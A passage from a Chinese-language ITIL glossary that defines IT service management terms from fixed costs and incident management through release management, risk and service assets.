（服务战略）不随 IT 服务的用量变化的成本。例如服务器硬件的成本。
参见可变成本。
固定设施
（服务设计）IT 服务连续性计划需要时可用的永久性建筑。
参见恢复选项，便携设施。
“向日葵”方案
（服务运营）一种方法，利用全世界的服务台和支持组提供无缝连接的 24 * 7 服务。呼叫、故障、问题和服务请求在不同时区的小组间传递。
实现
执行活动以满足需要或需求。例如通过提供新的 IT 服务，或满足服务请求。
功能
一队或一组人员以及他们用于执行一个或多个流程或活动的工具。
例如服务台。功能一词还有两个其它的含意
• 配置项、人员、团队、流程或 IT 服务的预期目的。例如，电子邮件服务的一个功能可能是保存和转发邮件，业务流程的一个功能可能是向客户发货。
• 正确执行预期的目的，“计算机在运行”
功能性升级
（服务运营）将故障、问题或变更转给具有更高技术的小组，以便进行疑难问题升级。
差距分析
（持续服务改进）比较两组数据并确定差异的活动。差距分析常用于将一组需求与实际的交付进行比较。
参见标杆测试。
治理
确保政策和战略得到实际实施，并且正确遵守所需的流程。治理包括定义角色和职责、考核和报告及采取行动以解决任何确认的问题。
逐步恢复
（服务设计）一种恢复选项，也称为冷备用。在多于 72 小时的时间内恢复 IT 服务。逐步恢复通常使用有环境支持和网络布线，但没有计算机系统的便携或固定设施。软硬件的安装属于 IT 服务连续性计划的一部分。
指南
描述最佳实践的文档，建议应该做什么。通常不强制要求遵从指南。
参见标准。
帮助台
（服务运营）用户记录故障的联系点。帮助台通常比服务台更关注技术，并且不作为所有的交互操作的单一联系点。帮助台一词经常用作服务台的同义词。
管理性升级
（服务运营）通知更多的高级管理人员或使他们参与解决疑难问题升级。
高可用性
（服务设计）一种减少或隐藏配置项失效对 IT 服务的用户的影响的方法或设计。设计高可用性解决方案可以获得约定级别的可用性，并利用容错、恢复力和快速恢复之类的技术减少故障的数量和故障的影响。
热备用
快速恢复或立即恢复的同义词。
身份
（服务运营）用于识别用户、个人或角色的唯一名称。身份用于向该用户、个人或角色授予权力。例如，身份可以是用户名 SmithJ 或角色“变更经理”。
立即恢复
（服务设计）一种恢复选项，也称为热备用。规定在不损失服务的情况下恢复 IT 服务。立即恢复通常采用镜像、负载均衡和分散场地技术。
影响度
（服务运营）（服务转换）故障、问题或变更对业务流程影响的一种测量。影响度通常基于服务级别会如何受影响。指定优先级时要考虑到影响度和紧急度。
故障
（服务运营）IT 服务的意外中断或 IT 服务质量的下降。尚未影响服务的配置项失效也是故障。例如镜像组中一块磁盘的失效。
故障管理
（服务运营）负责管理所有故障的生命周期的流程。故障管理的主要目标是尽快恢复为用户提供的 IT 服务。
故障记录
（服务运营）包含故障详情的记录。每个故障记录都记录了一个故障的生命周期。
间接成本
（服务战略）不能全部分配给特定的客户的 IT 服务的成本，。例如，提供共享服务器或软件许可的成本。也称为管理费用。
参见直接成本。
信息安全管理 (ISM)
（服务设计）确保组织的资产、信息、数据和 IT 服务的保密性、完整性和可用性的流程。信息安全管理通常是构成组织安全管理方法（比 IT 服务提供商的范围更宽）的一部分，包括整个组织的废纸处理、建筑物访问控制、电话呼叫等。
信息安全管理系统 (ISMS)
（服务设计）政策、流程、标准、指南和工具的框架，确保组织可以达到信息安全管理目标。
信息安全政策
（服务设计）管理组织的信息安全管理方法的政策。
信息技术 (IT)
存储、交流或处理信息的技术。该技术通常包括计算机、通信、应用软件和其它软件。信息可以包括业务数据、语音、图片、视频等。信息技术经常用于通过 IT 服务支持业务流程。
基础设施服务
不直接为业务使用而是 IT 服务提供商需要的，以便他们可以提供其它 IT 服务。例如目录服务、命名服务或通信服务。
内包
内部采购的同义词。
完整性
（服务设计）一种安全性原则，目的是确保数据和配置项只能被授权的人员和活动修改。完整性考虑造成修改的所有可能原因，包括软硬件的失效、环境事件和人为干预。
交互式语音应答 (IVR)
（服务运营）自动呼叫分配的一种形式，它能够接受用户的输入（例如按键和口头命令），以便为来电确定正确的目的地。
中级恢复
（服务设计）一种恢复选项，也称为温备份。在 24 到 72 小时之间恢复 IT 服务。中级恢复通常使用具有计算机系统和网络组件的共享的便携或固定设施。作为 IT 服务连续性计划的一部分，需要配置软硬件并恢复数据。
内部客户
与 IT 服务提供商为相同的业务单位工作的客户。
参见外部服务提供商，外部客户。
内部指标
IT 服务提供商用于监督自身内部流程的效率、效能或成本效益的指标。通常不向 IT 服务的客户报告内部指标。参见外部指标。
内部回报率 (IRR)
（服务战略）一种用于帮助就资本支出做出决策的方法。IRR 计算的数字允许比较两个或两个以上的投资选择。IRR 越大表示投资越好。
参见净现值，投资回报。
内部服务提供商
（服务战略）与客户同属一家组织的 IT 服务提供商。IT 服务提供商可以同时拥有内部客户和外部客户。
参见一类服务提供商，二类服务提供商，内购。
内部采购
（服务战略）利用内部服务提供商来管理 IT 服务。
参见服务采购，一类服务提供商，二类服务提供商。
国际标准化组织 (ISO)
国际标准化组织 (ISO) 是世界最大的标准制订者。ISO 是一个非政府机构，包括 156 个国家和地区的标准协会组成的网络。
关于 ISO 的详细信息可以访问 http://www.iso.org/
国际标准化组织
参见国际标准化组织 (ISO)
互联网服务提供商 (ISP)
提供互联网接入的外部服务提供商。多数 ISP 还提供其它 IT 服务，例如网站托管。
启用
（服务设计）启动计划中定义的步骤。例如，为一项或多项 IT 服务启动 IT 服务连续性计划。
Ishikawa 图
（服务运营）（持续服务改进）帮助团队确定问题的所有可能原因的方法。最初由 Kaoru Ishikawa 发明，本方法的输出物就是类似鱼骨的图。
ISO 9000
一种通称，指关于质量管理系统的许多国际标准和指南。
参见 http://www.iso.org/ 了解详细信息。
参见 ISO。
ISO 9001
关于质量管理系统的国际标准。
参见 ISO 9000，标准。
ISO/IEC 17799
（持续服务改进）关于信息安全管理的 ISO 行为准则。
参见标准。
ISO/IEC 20000
关于 IT 服务管理的 ISO 技术规范和行为准则。ISO/IEC 20000 与 ITIL 最佳实践一致。
ISO/IEC 27001
（服务设计）（持续服务改进）关于信息安全管理的 ISO 技术规范。相应的行为准则是 ISO/IEC 17799。
参见标准。
IT 主管
（持续服务改进）服务提供商内部的高级管理人员，负责开发和提供 IT 服务。最常用于英国政府的部门。
IT 基础架构
开发、测试、交付、监视、控制或支持 IT 服务所需的所有软硬件、网络、设施等。IT 基础架构一词包括所有的信息技术，但不包括相关的人员、流程和文档。
IT 运营
（服务运营）IT 运营控制执行的活动，包括控制台管理、作业调度、备份恢复以及打印和输出管理。
IT 运营可用作服务运营的同义词。
IT 运营控制
（服务运营）负责监视和控制 IT 服务和 IT 基础架构的功能。
参见运营监控室。
IT 运营管理
（服务运营）IT 服务提供商内部的功能，负责执行管理 IT 服务和所支持的 IT 基础架构所需的日常活动。IT 运营管理包括 IT 运营控制和设施管理。
IT 服务
由 IT 服务提供商向一个或多个客户提供的服务。IT 服务利用信息技术并支持客户的业务流程。IT 服务由人员、流程和技术组合而成，应该在服务级别协议中定义。
IT 服务连续性管理 (ITSCM)
（服务设计）负责管理可能严重影响 IT 服务的风险的流程。通过将风险降低到可接受的水平，同时规划 IT 服务的恢复，ITSCM 确保 IT 服务提供商能够始终提供最低约定的服务级别。ITSCM 应该设计用来支持业务连续性管理。
IT 服务连续性计划
（服务设计）定义恢复一项或多项 IT 服务所需步骤的计划。该计划还确定如何触发调用、涉及的人员、沟通等。IT 服务连续性计划应该是业务连续性计划的一部分。
IT 服务管理 (ITSM)
实施和管理优质 IT 服务，满足业务的需要。IT 服务管理由 IT 服务提供商通过人员、流程和信息技术的适当组合而进行。
参见服务管理。
IT 服务管理论坛 (itSMF)
IT 服务管理论坛是一家独立的组织，致力于推广 IT 服务管理的专业方法。itSMF 是一个非赢利会员组织，在全世界许多国家和地区都设有办事处（itSMF分会）。itSMF 及其会员致力于开发 ITIL 和相关的 IT 服务管理标准。参见 http://www.itsmf.com/ 了解详细信息。
IT 服务提供商
（服务战略）为内部客户或外部客户提供 IT 服务的服务提供商。
IT 指导委员会 (ISG)
一个正式的团体，负责确保业务和 IT 服务提供商的战略与计划紧密整合。IT 指导委员会包括来自业务和 IT 服务提供商的高级代表。
ITIL
用于 IT 服务管理的一套最佳实践指导。ITIL 的所有者是 OGC，包括一系列的出版物，为提供优质 IT 服务，以及支持它们所需的流程和设施提供指导。参见 http://www.itil.co.uk/ 了解详细信息。
作业描述
定义某个人员所需的角色、职责、技能和知识的文档。一个作业描述可以包括多个角色，例如配置经理和变更经理的角色可以由同一人担任。
作业调度
（服务运营）规划和管理作为 IT 服务一部分的软件任务的执行。作业调度由 IT 运营管理执行，经常利用软件工具在特定的日期、星期、月份和年度运行批量任务或在线任务自动完成。
Kano 模型
（服务战略）Noriaki Kano 开发的一个模型，用于帮助了解客户的偏好。Kano 模型考虑 IT 服务的属性，这些属性分为基本因素、激励因素、性能因素等领域。
Kepner 与 Tregoe 分析
（服务运营）（持续服务改进）一种解决问题的结构化方法。按照内容、时间、地点和程度对问题进行分析。确定可能的原因。检验最可能的原因。核实真正的原因。
关键绩效指标 (KPI)
（持续服务改进）用于帮助管理流程、IT 服务或活动的指标。许多指标都可以测量，但是只有最重要的可以定义为 KPI 并用于主动管理和报告流程、IT 服务或活动。选择的 KPI 应该可以确保效率、效能和成本效益都得到管理。
参见关键成功因素。
知识库
（服务转换）一个逻辑数据库，其中包含了服务知识管理系统使用的数据。
知识管理
（服务转换）负责收集、分析、保存和共享组织内部的知识和信息的流程。知识管理的主要目的是通过减少重新发现知识的需要，从而提高效率。
参见数据到信息到知识到智慧，服务知识管理系统。
已知错误
（服务运营）已经记录了根本原因和规避措施的问题。已知错误由问题管理在其整个生命周期中创建和管理。已知错误也可以在开发过程中或由供应商确定。
已知错误数据库 (KEDB)
（服务运营）包含所有已知错误记录的数据库。此数据库由问题管理创建，并由故障和问题管理使用。已知错误数据库是服务知识管理系统的一部分。
已知错误记录
（服务运营）包含已知错误详情的记录。每个已知错误记录都记录了已知错误的生命周期，包括状态、根本原因和规避措施。在某些实施中，使用问题记录中另外的字段记录已知错误。
生命周期
IT 服务、配置项、故障、问题、变更等一生中的不同阶段。
生命周期定义了状态的类别和允许的状态转变。例如：
• 应用的生命周期包括需求，设计，构建，部署，运行，优化。
• 扩展的故障生命周期包括检测，响应，诊断，维修，恢复，复原。
• 服务器的生命周期可以包括：已订购，已收到，测试中，实时，已处置等
服务线 (LOS)
（服务战略）有多个服务级别包的核心服务或支持服务。服务线由产品经理管理，每个服务级别包用于支持特定的市场。
实时
（服务转换）指正在用于为客户提供服务的 IT 服务或配置项。
实时环境
（服务转换）一种受控的环境，其中包含实时配置项，用于为客户提供 IT 服务。
可维护性
（服务设计）配置项或 IT 服务在发生故障后可以恢复正常工作的速度和效率的测量。可维护性经常以 MTRS 进行测量和报告。
可维护性还用于软件或 IT 服务开发的环境，表示容易变更或维修的能力。
重大故障
（服务运营）故障影响的最高级类别。重大故障导致业务的重大中断。
受管服务
（服务战略）一种强调 IT 服务得到管理这个事实的观点。管理服务一词还用作外包 IT 服务的同义词。
管理信息
用于支持管理者决策的信息。管理信息经常由支持各种 IT 服务管理流程的工具生成。管理信息通常包括 KPI 的值，例如“导致故障的变更比例”或“第一时间修复率”。
风险的管理(MoR)
OGC 管理风险的方法。MoR 包括确定和控制面对风险（可能影响组织实现业务目标）所需的所有活动。
参见 http://www.m-o-r.org/ 了解详细信息。
管理系统
确保组织能够达成目标的政策、流程和功能的框架。
手动规避措施
需要手动干预的规避措施。手动规避措施还用作恢复选项的名称，其中的业务流程不使用 IT 服务而运行。这是临时的措施，通常与其它恢复选项结合。
边际成本
（服务战略）继续提供 IT 服务的成本。边际成本不包括已经进行的投资，例如开发新软件和提供培训的成本。
市场空间
（服务战略）IT 服务提供商可以用于满足客户业务需要的所有机会。市场空间确定了 IT 服务提供商希望考虑提供的可能 IT 服务。
成熟度
（持续服务改进）流程、功能、组织等的可靠性、效率和效能的测量。最成熟的流程和功能通常被分给业务目标和战略，并得到框架的支持以便连续改进。
成熟水平
成熟度模型中指定的水平，例如卡内基梅隆能力成熟度模型集成(CMMI)。
平均无故障时间(MTBF)
（服务设计）测量和报告可靠性的指标。MTBF 是配置项或 IT 服务能够不间断执行其约定功能的平均时间。该时间是从配置项或 IT 服务开始工作测量，直到下次出现故障为止。
平均系统故障间隔（MTBSI）
（服务设计）用于测量和报告可靠性的指标。MTBSI 是从系统或 IT 服务故障直到下次故障的平均时间。MTBSI = MTBF+ MTRS。
平均修复时间 (MTTR)
故障后修复配置项或 IT 服务所花的平均时间。MTTR 从配置项或 IT 服务发出故障开始测量，直到被维修。MTTR 不包括恢复或复原所需的时间。MTTR 有时被误用来表示平均服务恢复时间。
平均服务恢复时间(MTRS)
故障后恢复配置项或 IT 服务所花的平均时间。MTRS 从配置项或 IT 服务发生故障开始测量，直到完全恢复并提供正常的功能。
参见可维护性，平均修复时间。
指标
（持续服务改进）为帮助管理流程、IT 服务或活动而测量和报告的事物。
参见 KPI。
中间件
（服务设计）了解两个或多个软件组件或应用程序的软件。中间件通常从供应商购买，而不是在 IT 服务提供商内部开发。
参见商用现货。
使命描述
使命描述是组织用来描述其总体目标和意向的简短但完整的说明。它说明了要达到的目标，但不是达到的方式。
模型
用于帮助了解或预测未来行为的系统、流程、IT 服务、配置项等的代表物。
建模
用于预测系统、流程、IT 服务、配置项等未来行为的方法。建模常用于财务管理、容量管理和可用性管理。
监控闭环
（服务运营）监督任务、流程、IT 服务或配置项的输出；将此输出与预定的标准比较；并根据比较结果采取适当的行动。
监视
（服务运营）反复观察配置项、IT 服务或流程，以检测事件，确保了解当前的状态。
近岸
（服务战略）从邻近客户所在的国家或地区提供服务。这可以是提供 IT 服务、支持功能（例如服务台）。
参见在岸，离岸。
净现值 (NPV)
（服务战略）一种用于帮助就资本支出做出决策的方法。NPV 将现金的流入与流出进行比较。如果 NPV 是正数，则表示投资是值得的。
参见内部回报率，投资回报。
名义收费
（服务战略）对 IT 服务收费的一种方法。计算客户的成本，然后将成本通知客户，但实际没有金钱的转移。有时采用名义收费的方法确保客户了解发生的成本，或者作为引入实际收费期间的一个阶段。
目标
流程、活动或组织总体上定义的目标或目的。目标通常以可测量的目的来表示。在非正式的场合，目标一词也用于表示需求。
参见结果。
现货
商用现货的同义词。
政府商务处 (OGC)
OGC 拥有 ITIL 的品牌（版权和商标）。OGC 是英国的政府部门，负责通过与各个部门合作采购和提高采购技能，支持政府采购计划的交付。还为复杂的公共部门项目提供支持。
公共部门信息办公室 (OPSI)
OPSI 允许在 ITIL 的出版物中使用 Crown 版权的资料。它们是英国政府的部门，负责提供对英国法规的在线访问，授予 Crown copyright 资料的使用权，管理信息公平交易方案，维护政府的信息资产登记，并就正式出版和 Crown 版权提供建议和指导。
离岸
（服务战略）从客户所在的国家或地区以外的地点（通常位于不同的大洲）提供服务。这可以是提供 IT 服务、支持功能（例如服务台）。
参见在岸，近岸。
在岸
（服务战略）在客户所在的国家或地区内的地点提供服务。参见离岸，近岸。
操作
按要求执行。如果提供所需的输出，就说流程或配置项运营。操作还意味着执行一项或多项运营。例如，操作计算机意即按要求执行所需的日常运营。
运营
（服务运营）IT 服务、系统或其它配置项的日常管理。运营也用于表示任何预定的活动或交易。例如装载磁带，在销售点收钱，或从磁盘读取数据。
运行
规划和交付三级中（战略性、战术性、运行）最低的一级。运行活动也包括规划、交付业务流程或 IT 服务管理流程，只是这些活动都是日常或短期行为。
运行一词还是实时的同义词。
运行成本
由运行 IT 服务产生的成本。经常反复收费。例如人力成本、硬件维护和电费（也称为“经常支出”或“营业支出”）。
参见资本支出。
运行支出 (OPEX)
运行成本的同义词。
运营级别协议 (OLA)
（服务设计）（服务持续改进）IT 服务提供商与同一机构的另一部门间达成的协议。
OLA 支持 IT 服务提供商向客户提供 IT 服务。OLA 规定了要提供的商品或服务，以及双方的责任。例如，下列情况可以签订 OLA
• IT 服务提供商与采购部门间为了在约定的时间获得硬件
• 服务台与支持组之间为了在约定的时间解决故障。
参见服务级别协议。
运营监控室
（服务运营）一个物理位置，在此监控 IT 服务和 IT 基础架构。
运营控制
IT 运营控制的同义词。
运营管理
IT 运营管理的同义词。
机会成本
（服务战略）用于决定投资选择的成本。机会成本代表以不同的方法利用资源可能产生的收入。例如，购买新服务器的机会成本可能包括不进行已经花钱的服务改进活动。机会成本分析被用作决定过程的一部分，但是在任何财务决算中都不作为实际成本对待。
优化
审查，计划和请求变更，以便从流程、配置项、应用等获得最大的效率和效能。
组织
公司、法人实体或其它机构。不属于公司的组织例子包括国际标准化组织或 itSMF。组织一词有时用于指拥有人员、资源和预算的任何实体。例如项目或业务部门。
结果
执行活动，遵守流程，提供 IT 服务等的结果。结果一词用于指预期的结果和实际的效果。
参见目标。
外包
（服务战略）利用外部服务提供商来管理 IT 服务。
参见服务采购，三类服务提供商。
管理费用
间接成本的同义词
疼痛值分析
（服务运营）用于帮助确定一个或多个问题对业务影响的方法。疼痛值公式的计算依据是受影响的用户数量、中断时间、对每个用户的影响和业务付出的代价（如果知道）。
Pareto 法则
（服务运营）用于区分活动的优先次序的方法。Pareto 法则假定：任何活动 80% 的价值是由 20% 的努力创造的。Pareto 分析还用于问题管理，区分问题可能原因的优先次序，以便研究。
合作伙伴关系
两个组织间为共同目标或互惠互利密切合作而形成的关系。IT 服务提供商应该与业务,以及和对提供 IT 服务具有关键作用的第三方保持合作伙伴关系。
参见价值网。
被动监视
（服务运营）监视配置项、IT 服务或流程（依靠告警或通知发现当前的状态）。参见主动监控。
业务活动模式 (PBA)
（服务战略）一项或多项业务活动的工作负载描述。业务活动的图形用于帮助 IT 服务提供商了解和计划不同级别的业务活动。
参见用户描述。
百分比利用率
（服务设计）组件在给定时间内被占用的时间。例如，如果 CPU 在一个小时内被占用 1800 秒，它的利用率就是 50%
性能
系统、个人、团队、流程或 IT 服务取得或提供的结果。
性能剖析
（服务战略）组织文化的一种方法，结合并主动管理领导力和战略、人员发展、技术方法以及性能管理和创新。
性能管理
（持续服务改进）负责日常容量管理活动的流程。包括监视、阈值检测、性能分析和调整，以及实施与性能和容量有关的变更。
试点项目
（服务转换）在实时环境有限地部署 IT 服务、发布或流程。试点项目用于降低风险，接受用户的反馈和验收。
参见测试，评价。
计划
详细的方案建议书，其中描述了达到目标需要的活动和资源。例如实施新 IT 服务或流程的计划。ISO/IEC 20000 要求为管理每个 IT 服务管理流程制订计划。
计划-执行-检查-行动
（持续服务改进）流程管理的四阶段循环，由爱德华·戴明发明。计划-执行-检查-行动也称为戴明循环。
计划：设计或修订支持 IT 服务的流程。
执行：实施计划和管理流程。
检查：测量流程和 IT 服务，与目标比较，生成报告
行动：计划并实施变更，以改进流程。
计划内中断时间
（服务设计）约定的不提供 IT 服务的时间。计划内中断时间通常用于维护、升级和测试。
参见变更窗口，中断时间。
规划
负责创建一项或多项计划的活动。例如，容量规划。
PMBOK
项目管理学会发布和维护的项目管理标准。PMBOK 代表项目管理知识体系。参见 http://www.pmi.org/ 了解详细信息。
参见 PRINCE2。
政策
正式备案的管理层的期望和意图。政策用于指导决策、确保一致正确地发展和实施流程、标准、角色、活动、IT 基础架构等。
便携设施
（服务设计）由第三方提供，在需要时可由 IT 服务连续性计划移到现场的预制安装建筑或大型车辆。
参见恢复选项，固定设施。
实施后的审查 (PIR)
在变更或项目已经实施后进行的审查。PIR 可以确定变更或项目是否成功，同时确定改进的机会。
实践
一种工作方法，或必须遵循的工作方法。实践可以包括活动、流程、功能、标准和指南。
参见最佳实践。
成功的先决条件 (PFS)
需要完成的活动，或是需要满足的条件，以便能够成功实施计划或流程。PFS 经常是一个流程的输出，又是另一个流程需要的输入。
定价
（服务战略）确定向客户收取多少成本的活动。
PRINCE2
英国政府用于项目管理的标准方法。参见 http://www.ogc.gov.uk/prince2/ 了解详细信息。
参见 PMBOK。
优先级
（服务转换）（服务运营）用于确定故障、问题或变更的相对重要性的类别。优先级的依据是影响度和紧急度，用它来确定采取行动所需的时间。例如 SLA 可以规定：优先级 2 的故障必须在 12 小时内解决。
主动监视
（服务运营）寻找事件发生的方式，以预测未来可能出现故障的监视。
参见响应式监视。
主动式问题管理
（服务运营）问题管理流程的一部分。主动式问题管理的目标是确定可能被遗漏的问题。主动式问题管理分析故障的记录，利用其它 IT 服务管理流程收集的数据确定趋势或重大的问题。
问题
（服务运营）一个或多个故障的原因。在创建问题记录时，通常不知道原因，由问题管理流程负责进一步的研究。
问题管理
（服务运营）负责管理所有问题的生命周期的流程。问题管理的主要目的是防止发生故障，同时尽量减少无法避免的故障带来的影响。
问题记录
（服务运营）包含问题详情的记录。每个问题记录记载了一个问题的生命周期。
程序
一个文档，其中包含的步骤说明了如何完成活动。程序被定义为流程的一部分。
参见工作指令。
流程
用于实现特点目标的一系列有组织的活动。流程获得一个或多个定义的输入，然后将它们变成定义的输出、流程可以包括任何角色、责任、工具和可靠提供输出所需的管理控制。流程可以定义政策、标准、指南、活动和工作指令（如果需要）。
流程控制
规划和调整流程的活动，目的是以有效、高效和一致的方式执行流程。
流程经理
负责流程运行管理的角色。流程经理的责任包括规划和协调执行、监督和报告流程所需的所有活动。一个流程可以有多位流程经理，例如，每个数据中心可以有区域变更经理或 IT 服务连续性经理。流程经理的角色经常被指定给具有流程所有人角色的人员，但在较大的组织中，两个角色可以分开。
流程所有人
负责确保流程达到目的的角色。流程所有者的责任包括赞助、设计、变更管理和不断改进流程及其指标。这个角色经常被指定给具有流程管理者角色相同的人员，但在较大的组织中，两个角色可以分开。
生产环境
实时环境的同义词。
利润中心
（服务战略）为所提供服务收费的业务部门。建立利润中心的目的可以是创造利润、收回成本或亏本运行。IT 服务提供商可以作为成本中心或利润中心运行。
样例
一个模板或示例文档，其中包含示例数据，使用时可用实际的值替换。
项目组合
许多一起计划和管理的项目和活动，以便实现总体上相关的一系列目标和其它结果。
项目
临时的组织，拥有实现目标或其它结果所需的人员和其它资产。每个项目都有生命周期，通常包括起动、规划、执行、关闭等。通常使用正规的方法（例如 PRINCE2）管理项目。
预计的服务中断 (PSO)
（服务转换）用于描述所计划的变更、维护活动和测试计划对约定的服务级别影响的文档。
受控环境中的项目 (PRINCE2)
参见 PRINCE2
资格鉴定
（服务转换）一种活动，目的是确保 IT 基础架构得到适当和正确的配置，以便支持应用或 IT 服务。
参见验证。
质量
产品、服务或流程提供预期价值的能力。例如，硬件组件如果性能达到要求并提供所需的可靠性，就可以认为是高质量。流程质量的有效性和效能也需要得到监视，并进行必要的改进。
参见质量管理系统。
质量保证 (QA)
（服务转换）负责确保产品、服务或流程的质量将提供预期价值的流程。
质量管理体系 (QMS)
（持续服务改进）一套流程，负责确保组织执行的所有工作都具有合适的质量，能够可靠达到业务目标或服务级别。
参见 ISO 9000。
速赢
（持续服务改进）一种改进活动，应该以相对较少的成本和工作在短时间内带来投资回报。
参见 Pareto 法则。
RACI
（服务设计）（持续服务改进）一个模型，用于帮助定义角色和责任。RACI 代表“负责、批准、审核、知会”。
参见利害干系人。
响应式监视
（服务运营）为响应事件而采取行动的监视。例如以前的作业完成时提交批量作业，或者在发生错误时记录故障。
参见主动监视。
互惠协议
（服务设计）一种恢复选项。两个组织间达成协议，在紧急情况下共享资源。例如，机房空间或使用大型机。
记录
包含流程或活动的结果或其它输出的文档。记录是活动发生的事实证据，可以是纸质或电子形式。例如，审核报告，故障记录或会议记录。
恢复
（服务设计）（服务运营）将配置项或 IT 服务恢复到工作状态。IT 服务的恢复通常包括将数据恢复到已知的稳定状态。恢复后，可能需要进一步的措施才能为用户提供 IT 服务（复原）。
恢复选项
（服务设计）服务中断的响应战略。常用的战略是无需恢复，手动规避措施，互惠安排，逐步恢复，中级恢复，快速恢复，立即恢复。恢复选项可以利用专用的设施，或者多项业务共享的第三方设施。
恢复点目标 (RPO)
（服务运营）中断后恢复服务时可能丢失的最多数据。恢复点目标用故障前的时间长度表示。例如，一天的恢复点目标可以得到每日备份的支持，因此可能失去最多 24 小时的数据。应该为每项 IT 服务协商、达成和记录恢复点目标，并作为服务设计和 IT 服务连续性计划的要求。
恢复时间目标 (RTO)
（服务运营）中断后为恢复 IT 服务预留的最长时间。提供的服务级别可以低于正常的服务级别目标。应该为每项 IT 服务协商、达成和记录恢复时间目标。
参见业务影响分析。
冗余
容错的同义词。
冗余一词还有过时或不再需要的意思。
关系
两个人或事物间的联系或相互作用。在业务关系管理中，是 IT 服务提供商与业务间的相互作用。在配置管理中，它是两个配置项间的联系，确定了它们之间的依赖或连接。例如，应用可以链接至它们运行的服务器，IT 服务与所有做出贡献的配置项存在许多联系。
关系流程
ISO/IEC 20000 流程组，包括业务关系管理和供应商管理。
发布
（服务转换）实施一个或多个已批准的 IT 服务的变更所需的一组软硬件、文档、流程或其它组件。每个发布的内容作为一个单独实体进行管理、测试和部署。
发布和部署管理
（服务转换）负责发布管理和部署的流程。
发布标识
（服务转换）用于唯一标识发布的命名规则。发布标识通常包括引用配置项和版本号。例如 Microsoft Office 2003 SR2。
发布管理
（服务转换）负责规划、安排和控制发布移到测试和生产环境的流程。发布管理的主要目标是确保生产环境的完整性得到保护，并发布正确的组件。发布管理是发布和部署管理流程的一部分。
发布流程
ISO/IEC 20000 中包括发布管理的流程组所使用的名称。该组不包括任何其它流程。
发布流程还用作发布管理流程的同义词。
发布记录
（服务转换）在 CMDB 中定义发布内容的记录。发布记录与受发布影响的所有配置项都有关系。
发布单元
（服务转换）通常一起发布的 IT 服务组件。发布单元通常包括执行有用功能的充足组件。例如，一个发布单元可以是台式机，包括软硬件、许可、文档等。不同的发布单元可以是完整的工资应用，包括 IT 运营程序和用户培训。
发布窗口
变更窗口的同义词。
可靠性
（服务设计）（持续服务改进）用以衡量配置项或 IT 服务可以不间断执行其约定功能的时间长度的指标。通常按 MTBF 或 MTBSI 进行测量。可靠性一词还可用于说明流程、功能等会提供出所需输出的可能性。
参见可用性。
补救
（服务转换）变更或发布失败后，恢复到已知的状态。
维修
（服务运营）替换或纠正失败的配置项。
变更请求 (RFC)
（服务转换）针对要进行变更的正式提议。RFC 包括提议变更的详情，可以记在纸上或电子文档中。RFC 一词经常被误用来表示变更记录或变更本身。
请求履行
（服务运营）负责管理所有服务请求的生命周期的流程。
需求
（服务设计）需要什么的正式说明。例如服务级别需求，项目需求或流程所需的交付物。
参见需求说明。
恢复力
（服务设计）配置项或 IT 服务抵御故障或在故障后快速恢复的能力。例如，铠装电缆置于压力下时可以抵御故障。
参见容错。
解决
（服务运营）纠正故障或问题的根本原因，或实施规避措施所采取的行动。
在 ISO/IEC 20000 中，解决流程是包括故障和问题管理的流程组。
解决流程
包括故障管理和问题管理的 ISO/IEC 20000 流程组。
资源
（服务战略）一种通称，包括 IT 基础架构、人员、资金或其它有助于提供 IT 服务的东西。资源被认作是组织的资产。
参见能力，服务资产。
响应时间
一种衡量完成运营或交易所需时间的指标。在容量管理中用于测量 IT 基础架构的性能，在故障管理中用于测量接起电话或开始诊断的时间。
响应速度
一种衡量响应某事所花的时间的指标。这可以是交易的响应时间，或者是 IT 服务提供商响应故障或变更请求等的速度。
服务的恢复
参见复原。
复原
（服务运营）采取行动在维修和从故障恢复后，为用户交付所提供的 IT 服务。这是故障管理的主要目标。
停用
（服务转换）从生产环境中永久去除 IT 服务或其它配置项。停用是许多配置项在生命周期中的一个阶段。
投资回报 (ROI)
（服务战略）（持续服务改进）对投资预期收益的测量。简单地说，就是投资的净利润除以投入资产的净值。
参见净现值，投资价值。
恢复正常
（服务设计）IT 服务连续性计划的阶段，在此阶段恢复正常的运行。例如，如果备用数据中心已经使用，则此阶段将主数据中心恢复运营，并恢复再次启用 IT 服务连续性计划的能力。
回顾
评价变更、问题、流程、项目等。审查一般在生命周期的预定点进行，特别是关闭后。审查的目的是确保已经提供了所有的交付物，同时确定改进的机会。
参见实施后回顾。
权限
（服务运营）授予用户或角色的权利或许可。例如修改特定数据或授权变更的权利。
风险
可能导致伤害或损失、或影响实现目标能力的事件。风险通过威胁的可能性、资产面对此威胁的脆弱性以及如果发生会产生的影响等来衡量。
风险评估
风险管理的最初步骤。分析资产对业务的价值，识别对这些资产的威胁，评估每项资产面对这些威胁的脆弱程度。风险评估可以是定量（基于数据），也可以是定性的。
风险管理
负责识别、评估和控制风险的流程。
参见风险评估。
角色
授予个人或团队的一组职责、活动和权力。角色在流程中定义。一个人或团队可以有多种角色，例如配置经理和变更经理的角色可以由一人执行。
投产上线
（服务转换）部署的同义词。最常用于指复杂或分阶段的部署或多个地点的部署。
根本原因
（服务运营）故障或问题的根本或最初的原因。
根本原因分析 (RCA)
（服务运营）确定故障或问题根本原因的活动。RCA 通常关注 IT 基础架构的故障。
参见服务故障分析。
运行费用(running cost)
运营成本的同义词
可伸缩性
工作负载或范围变化时，IT 服务、流程、配置项等执行其约定功能的能力。
范围
流程、程序、认证、合同等适用的边界或程度。例如，变更管理的范围可以包括所有的实时 IT 服务和相关的配置项，ISO/IEC 20000 认证的范围可以包括指定数据中心提供的所有 IT 服务。
二线支持
（服务运营）在参与故障的解决和问题分析的支持组中的第二级。每级包含更多的专业技能，或者有更多的时间或其它资源。
安全
参见信息安全管理
安全管理
信息安全管理的同义词
安全策略
信息安全政策的同义词
关注点分离 (SoC)
（服务战略）一种设计解决方案或 IT 服务的方法，具体的做法是将问题分成可以独立解决的多个部分。这种方法将需要做“什么”和“怎么”做分开来。
服务器
（服务运营）一种联网的计算机，可以提供软件功能给其它计算机使用。
服务
为客户提供价值的一种手段，使客户不用承担特定的成本和风险就可方便获得希望的结果。
服务验收标准 (SAC)
（服务转换）一套标准，用于确保 IT 服务满足功能和质量要求，并且此新服务部署以后，IT 服务提供商做好运维它的准备。
参见验收。
服务分析学
（服务战略）一种用于评估故障对业务影响的方法。服务分析学能够模拟配置项之间的依赖关系，以及 IT 服务对配置项的依赖关系。
服务资产
服务提供商的能力或资源。
参见资产。
服务资产和配置管理 (SACM)
（服务转换）负责配置管理和资产管理的流程。
服务容量管理(SCM)
